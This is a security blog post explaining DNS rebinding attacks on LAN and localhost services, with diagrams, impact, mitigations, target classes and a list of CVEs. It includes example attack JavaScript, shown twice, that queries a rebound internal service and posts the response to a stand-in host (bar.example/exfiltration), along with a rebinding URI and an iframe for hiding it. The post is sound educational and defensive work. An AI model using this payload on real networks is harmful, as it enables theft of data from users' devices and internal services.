DNS rebinding explained
Published:
Updated:
A quick summary about how DNS rebinding attacks work. The main motivation for this post is to have a diagram to show when explaining DNS-rebinding attacks.
The article is structured to encourage non-linear reading. The central content is sequence diagram of the summary section. Ideally, it should be self-standing and you should be able to skip the rest of the post.
In appendix, you will find a sequence diagram for the non-browser-mediated DNS rebinding attacks described in “When TLS Hacks You” to illustrate the fact that DNS-rebinding attacks are not limited to browser-mediated attacks on HTTP services.
Table of content
Summary
The following sequence diagram summarizes how a basic browser-mediated DNS rebinding attacks works.
If this does not makes sense, you could check instead:
Warning
DNS-rebinding is not limited to browser-mediated attacks and is not limited to attacks to HTTP services:
- it is possible use other other services for mediating the attack;
- it is possible to target non-HTTP services;
- it is possible to target non-HTTP through web browsers.
See for example When TLS Hacks You which combines DNS-rebinding attacks with injections based on TLS sessions.
Explanations
General idea
The main steps are as follow:
- the browser of some user navigates to a malicious web server (
http://foo.example:8000/
) and receives some malicious JavaScript code; - the attacker now changes the IP address associated with
foo.example
(DNS rebinding) to a machine he wants to attack (typically the private IP address of a machine inside the LAN of the user or the localhost IP address address in order to target the user machine); - at this point, the malicious JavaScript code (executing on the user browser) can make same-origin requests to
http://foo.example:8000
which will reach the target service on port 8000.
In summary, the attacker uses the browser of the user as kind of proxy to make requests to a server he can't access directly thanks to some DNS-rebinding trick.
Participants
Browser: the web browser of the user is used/tricked by a malicious web server into attacking some other web application/service.
Malicious server: a malicious remote server. It acts as a web server in order to deliver a malicious JavaScript code to the browser: the attack is triggered when the web browser navigates to this web server. It may as well be used for data exfiltration.
Target service: a service targeted by the malicious web server. This is typically a web server in the same local network as the user browser which is not accessible from outside of the local network (and from the malicious server). This might be a service running on the user machine (and not reachable from the LAN). The malicious server does not access this application directly but tricks the browser into attacking it. It does not need to be an HTTP service: some non-HTTP services can be attacked as well if they can be tricked into processing the HTTP request.
DNS resolver: the resolver(s) used by the web browser. There might be several resolvers implied in the name resolution (stub resolver vs. recursive resolver). This is typically a service of the user ISP, possibly running on the modem/router or outside of the local network (possibly using DNS-ober-HTTPS or DNS-over-TLS). Some form of non-recursive/stub resolver could be involved as well.
DNS authoritative server: a DNS authoritative server conducting the DNS rebinding. For example, this might be an instance of whonow.
Payload delivery
The first phase is quite straightforward. The web browser navigates to some web site (in our example http://foo.example:8000
) and receives some JavaScript code:
- the browser requests the IP address of the
foo.example
domain name (message 1); - the DNS revolver forwards the request to the authoritative server (message 2);
- the authoritative server answers with the IP address of the malicious web server (message 3);
- the DNS resolver forwards the response to the browser (message 4);
- the web browser sends the request to this web server (message 5);
- this web server sends some JavaScript code (message 6) which is executed by the web browser in the context of the
http://foo.example:8000
origin.
The following code corresponds to the diagram:
<script>
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main() {
// Wait for DNS reponse to expire:
await sleep(65000);
// Attack target:
const response = await fetch("/resource", {
"method": "POST",
"headers": {
"Content-Type": "application/json"
},
"body": JSON.stringify({
// ...
})
});
// Data exfiltration (optional):
const content = await response.text();
await fetch("//bar.example/exfiltration", {
"method": "POST",
"headers": {
"Content-Type": "text/plain"
},
"body": content
});
}
main();
</script>
Attacking the target
The JavaScript code waits for the DNS reponse for foo.example
to expire:
await sleep(65000);
Then it triggers a same-origin HTTP request:
const response = await fetch("/resource", {
"method": "POST",
"headers": {
"Content-Type": "application/json"
},
"body": JSON.stringify({
// ...
})
});
This request is considered as a same-origin request and as a consequence:
- the attacker can set most HTTP headers to arbitrary values;
- in particular, the attacker can set any value for the
Content-Type
header[1], - the attacker can use most HTTP methods such as,
GET
,POST
,PUT
,DELETE
,QUERY
MKCOL
,PROPPATCH
,COPY
,SUBSCRIBE
,UNSUBSCRIBE
,SSTP_DUPLEX_POST
(probably not very useful in practice),BREW
,WHEN
,- even
POUETPOUET
,!-+~*_%$&#'
,42
, etc.
At this point, the browser needs to open up a new connection to http://foo.example:8000
. As the DNS response is expired, it needs to make a new DNS request in order to get the IP address associated with the foo.example
domain (messages 7 and 8). This time, the authoritative server answers with the address of the target site (message 9):
- this can be a localhost address (eg. 127.0.0.1, ::1) when the target server is on the same machine as the web brower;
- on some systems (eg. Linux), 0.0.0.0 can be used for the same effect;
- this can be the private IP address of another server on the LAN (eg. 192.168.0.42);
- in some cases a CNAME can be used;
DNS rebinding happens when we rebind a domaine name to a new completely different IP address. In our case, the http://foo.example:8000
origin which was associated with the malicious server is now associated with the target server.
At this point, the browser sends the HTTP request to the target web site (message 11) considered as the http://foo.example:8000
origin. This way, the attacker can make requests to the target server it could not do with CSRF attacks.
As the request is considered as a same-origin request, the JavaScript code can access the content of the response (status code, HTTP headers, body):
const content = await response.text();
Note that in order to be considered as same-origin, the JavaScript code must be served using the same port number (8000 in our example) as the target server.
Data exfiltration
The JavaScript can optionally exfiltrate (message 13) any data received from the target server to another server (http://bar.example
in our example):
await fetch("//bar.example/exfiltration", {
"method": "POST",
"headers": {
"Content-Type": "text/plain"
},
"body": content
});
Impact
Attacking unreachable services
Usually the motivation for conducting a DNS rebinding attack is to attack some internal service which is not directly acessible by the attacker (because of firewall, NAT, etc.). The attacker uses a browser which can access the target server (either because this browser physically connected in the network of the target server or because it is connected to this network through a VPN).
This can be used to:
- trigger actions on the target server;
- exfiltrate data from the server.
Hiding the attacker IP address
Alteratively, a DNS rebinding attack could be used to attack the target server without revealing the attacker IP address to the target server: from the point of view of the target server, the requests are coming from the IP address of the browser.
Mitigations
See the relevant wiki page of the Singularity of Origin project
Using HTTPS
If the target web site is only reachable using HTTPS, the DNS rebinding attack will usually not be possible.
When trying to do a DNS rebinding attack using HTTPS (eg. to https://foo.example
), the certificate received from the target web site (before message 11), won't match with the request domain name (example.com
) and the browser won't accept it.
Warning
If certificate verification is disabled in the browser for some reason, this mitigation won't be effective and HTTPS sites: the browser could be used to target some HTTPS web sites.
Using authentication
If the services of the target server are protected by some form of authentication, the attacker will not be able to leverage the DNS rebinding attack unless it is able to find/guess the credentials.
In this case, the attacker could still use a DNS rebinding attack to:
- use some known (eg. default) account or token;
- create a new account of the service exposes this feature;
- try to brute-force an existing an account or token.
Checking the Host
header
The target server can detect a DNS rebinding attack by validating the Host
HTTP header of the incoming request (in message 11).
Note: using the Origin
HTTP
On modern browsers, the Origin
HTTP header could be used as well in some cases but it is really the Host
header which should be validated.
We can check whether a web application checks the Host
HTTP header by making requests with bogus Host
headers:
curl http://target.example -H"Host: rebind.example"
Web sites/applications which are running behind a reverse proxy, generally use virtual hosts. When conducting a DNS rebinding attacks against a reverse proxy, only the default virtual host will usually match the Host
header and could be affected by a DNS rebinding attack.
This is a good reason to always define a placeholder default virtual host:
server {
listen 80 default_server;
listen [::] default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name localhost;
ssl_certificate /etc/ssl/nginx/default;
ssl_certificate_key /etc/ssl/nginx/default;
include snippets/tls.conf;
return 404;
location / {
try_files $uri $uri/ /index.html;
}
}
Warning
The backend services might still be vulnerable to DNS-rebinding attacks if they are reachable by the client.
DNS rebinding protection in the resolver
The resolver could block some form of DNS rebinding attacks (when receiving message 9). This protection can be implemented in the recursive resolver or in a stub resolver.
One possibility is to reject any localhost or private IP address in order to block DNS rebinding attacks targeting the user machine or other machines on the local network[3]. However, this approach is apparently not enough.
Many resolvers have support for some form of DNS rebinding protection. Usually this involved blocking private IP addresses in responses.
Examples:
- systemd-resolved does not support this AFAIU.
- dnsmasq has a
--stop-dns-rebind
option which blocks private IP addresses, localhost IP addresses. - unbound has a
private-address
option.
Some ISPs enable it default. In some cases, the protetion in implemented in the modem router and can be disabled.
See the references for the limitations of those protections however. The applications should not expect these mitigations to be in place and be effective.
DNS rebinding protection in the browser
The same DNS rebinding protection could be implemented in the browser.
For example, Firefox has support for some form of DNS rebinding protection: when DNS-over-HTTPS (DoH) is enabled, Firefox blocks private IP addresses by default (network.trr.allow-rfc1918=false
).
Apparently, old versions of the NoScript used to have some support of protection against DNS-rebinding attacks targeting the local network as part of the ABE (Application Boundaries Enforcer) component.
The Private Network Access draft intends to standardize protections in the browsers against browser-based attacks (CSRF, DNS-rebinding, etc.) to LAN or localhost services.
Using UNIX sockets
If possible/relevant, for local services, you could bind your service to a UNIX socket instead of binding to an IP one. This makes sure no internet-based connection can directly target it (preventing DNS-rebinding, CSRF attacks, etc). In addition, it provides some support for blocking other system users from accessing the service. I would suggest running all the services over UNIX sockets by default.
Notes: UNIX socket support
UNIX sockets are available on Microsoft Windows since 2017 (SOCK_STREAM
only).
Java supports SOCK_STREAM
Unix socket since Java 16 (2021) only.
Targets
Public web sites are usually not vulnerable to DNS rebinding attacks:
- nowadays, they usually use HTTPS;
- they usually require some form of authentication;
- they are usually running behind a reverse proxy with virtual host support which may block DNS rebinding attacks
Even if they are vulnerable, this attack is often not very interesting for the attacker:
- with DNS rebinding, the attacker cannot use the session of the connected user (as is done with CSRF attacks);
- the attacker can attack the server directly anyway.
For those reasons, DNS rebinding attacks are usually not very well known.
Embedded Devices
Embedded devices on the LAN are very interesting targets for DNS rebinding attacks and many of them have been found to be vulnerable to DNS rebinding attacks:
- they are usually not reachable outside of the local network;
- they are often vulnerable to DNS rebinding attacks because,
- they usually don't use HTTPS;
- they often don't include a reverse proxy;
- they often provide some services without authentication;
- they are assumed to be unreachable from remote attackers (and thus it is assumed they don't need a very strong security).
This could include for example:
- modems, routers, for example through Universal Plug and Play Internet Gateway Device (UPnP IGD);
- smart TVs, for example through the UPnP, Discovery And Launch (DIAL) protocols;
- Network Attached Storage (NAS), for example through WebDAV or UPnP MediaServer;
- cameras 😨;
- vocal/home assistants, home automation.
Devices supporting Universal Plug and Play (UPnP) are often vulnerable: they expose services on the LAN and usually don't use any form of authentication by design.
In the case of routers, this can be used for example
- to open ports to the LAN, allowing to attack other services;
- setup MITM attacks (by configuring VPN).
In the case of storage (NAS, etc.), this could be used to:
- exfiltrate the list and content of the files;
- delete files;
- upload malicious files.
Developer instances and tooling
Another interesting class of interesting targets are instances run by developper and other developper tools:
- they are usually not served using HTTPS;
- they are usually only available on the LAN or sometimes only on localhost.
Moreover they sometime expose interesting information or features in development mode:
- they can expose stack traces and code snippets which could be exfiltrated;
- they somtimes have interactive web-based debuggers which could be used to get remote code execution (RCE).
This includes:
- instance of web application (possibly with debuggers),
- Django debug mode, CVE-2016-9014,
- Rails Webconsole;
- Spring Boot Actuators (the interesting ones are not enabled by default);
- Jolokia, a Java library for exposing JMX over HTTP (which can be exposed as part of the Spring Boot Actuators);
- unprotected local databases such as Redis, Memcached, Elasticsearch.
Example
I recently realized that the (custom) preview server of my (custom) static web site generator was vulnerable to DNS rebinding attacks. An attacker could have exploited this to exfiltrate the content of my blog post drafts (some of which include some notes about yet-undisclosed vulnerabilities). This is probably the case of most static website generators.
This is now handled by this snippet:
hostname = "127.0.0.1"
expected_host = hostname +":" + str(port)
...
if environ["HTTP_HOST"] != expected_host:
start_response('404 Not Found',
[("Content-Type", "text/plain")])
yield b"Not found\n"
return
I am not aware of any static website generator or development server which would provide some protection against DNS rebinding attacks (even disabled by default).
Other localhost services
Other localhost-bound services could be attacked.
Examples:
Practical attack
In the section, I discuss some things to make the attack presented more practical.
Whonow
whonow is a simple and useful DNS rebinding service. A public instance is available under the domain rebind.network
. A typical URI for executing a DNS rebinding attack look like this:
http://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:8000/
iframe
One might argue that the user would notice the weird URI when navigating to the malicious server (http://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-....rebind.network:8000/
):
- suspicious domain name (
a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-....rebind.network
); - suspicious port (
8000
).
The attacker can hide such a weird URI by embedding an iframe
to our DNS rebinding URI from a more innocuous-looking URI:
<iframe src="http://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:8000/">
</iframe>
Modern browsers prevent mixed content (eg. an iframe
in an HTTPS page embedding an HTTP page). When targeting a http://
service, the attacker cannot serve the iframe
from a https://
page.
Loop
In order to avoid to hardcode a waiting duration, we can use a loop such as:
async function main() {
while (true) {
// Wait for DNS reponse to expire:
await sleep(2000);
// Attack target:
const response = await fetch("/resource", {
"method": "POST",
"headers": {
"Content-Type": "application/json"
},
"body": JSON.stringify({
// ...
})
});
if (response.status != 200)
// DNS response not expired yet?
continue;
// Data exfiltration (optional):
const content = await response.text();
await fetch("//bar.example/exfiltration", {
"method": "POST",
"headers": {
"Content-Type": "text/plain"
},
"body": content
});
return;
}
}
Port scanning
We might argue that the attacker cannot guess the private IP address and port of targets reachable from a given browser. The attacker could for example use WebSockets for scanning ports on private IP ranges.
Singularity Of Origin includes a port scanner.
References
On DNS rebinding
- A nice DNS rebinding diagram
- When TLS Hacks You, combines DNS-rebinding attacks with TLS session based injections (awesome stuff)
- Attacking Private Networks from the Internet with DNS Rebinding ~ Brannon Dorsey
- State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27
- Protecting Browsers from DNS Rebinding Attacks
- Attacking Private Networks from the Internet with DNS Rebinding
- Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks
- Study of DNS Rebinding Attacks on Smart Home Devices, Tatang et al.
- Attacking Private Networks from the Internet with DNS Rebinding
- How to steal any developer's local database
- Rails Webconsole DNS Rebinding
- DNS Rebinding with Robert RSnake Hansen
Tooling
- whonow, a simple and useful DNS rebinding service
- Singularity of Origin by NCC Group
- DNS Rebind toolkit
On port scanning
Standards
DNS rebinding vulnerabilities
Some DNS rebinding vulnerabilities:
- CVE-2009-0164, CUPS
- CVE-2016-9014, Django
- CVE-2017-18190, CUPS
- CVE-2018-1099, etcd
- CVE-2018-5702, Transmission
- CVE-2018-11315, Radio Thermostat CT50 and CT80
- CVE-2018-11316, Sonos UPnP endpoint
- CVE-2018-12716, Google Home and Chromecast devices
- CVE-2018-14505, mitmproxy/mitmweb
- CVE-2018-1002103, Minikube Dashboard
- CVE-2019-12443, Gitlab CE
- CVE-2020-24374, Freebox v5 modem Web UI
- CVE-2020-24375, Freebox Server UPnP MediaServer
- CVE-2020-24376, Freebox UPnP IGD
- CVE-2020-24377, Freebox Server Web UI
- CVE-2021-22884, Node.js inspector
- CVE-2021-31718, npupnp
- CVE-2021-29462, pupnp
- CVE-2021-33516, GUPnP
Other
Backlinks
Appendix, DNS-rebinding and TLS sessions
This diagram summarizes a DNS rebinding attack using TLS described in “When TLS Hacks You”. It illustrates the fact that DNS-rebinding attacks are not limited to the example of browser-mediated attacks.
In this examples, mediating established a TLS connection with the malicious server. The malicious sets a TLS session ticket containing a malicious payload at the end of the TLS handshake. When the mediating server tries to establish a new connections it connects instead to the target service (DNS-rebinding attack) and sends the malicious TLS ticket as part of the TLS ClientHello
message. If the target server interprets the TLS header as garbage, he can end up interpreting the malicious payload included in the TLE session ticket.
This approach works the same with:
- TLS session ID (before TLS 1.3);
- TLS session ticket (RFC 5077) (before TLS 1.3);
- TLS 1.3 PSK identity.
For cross origin request, the JavaScript code can only use the
application/x-www-form-urlencoded
,multipart/form-data
andtext/plain
Media-Types unless the target resource opts in with Cross-Origin Resource Sharing (CORS). However, the content of the HTTP request body can be arbitrary. ↩︎Even if some feature of gRPC are not directly available using
fetch()
, it should still be possible to trigger gRPC calls as far as I understand. ↩︎Some other addresses should be blocked as well such as 0.0.0.0, the associated IPv4-mapped IPv6 address (eg. ::ffff:192.168.1.254). ↩︎